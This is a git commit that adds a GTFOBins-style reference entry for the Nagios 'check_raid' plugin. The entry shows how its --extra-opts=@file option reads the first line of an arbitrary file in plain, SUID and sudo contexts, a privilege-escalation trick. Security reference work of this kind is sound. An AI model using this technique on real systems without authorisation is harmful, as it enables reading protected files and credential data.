New command: check_raid

This commit is contained in:
Emanuel Duss 2020-11-12 14:21:00 +01:00
parent d0bbdb69cf
commit 846a613121

17
_gtfobins/check_raid.md Normal file
View File

@ -0,0 +1,17 @@
---
description: |
This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
functions:
file-read:
- code: |
LFILE=file_to_read
check_raid --extra-opts=@"$LFILE"
suid:
- code: |
LFILE=file_to_read
./check_raid --extra-opts=@"$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo check_raid --extra-opts=@"$LFILE"
---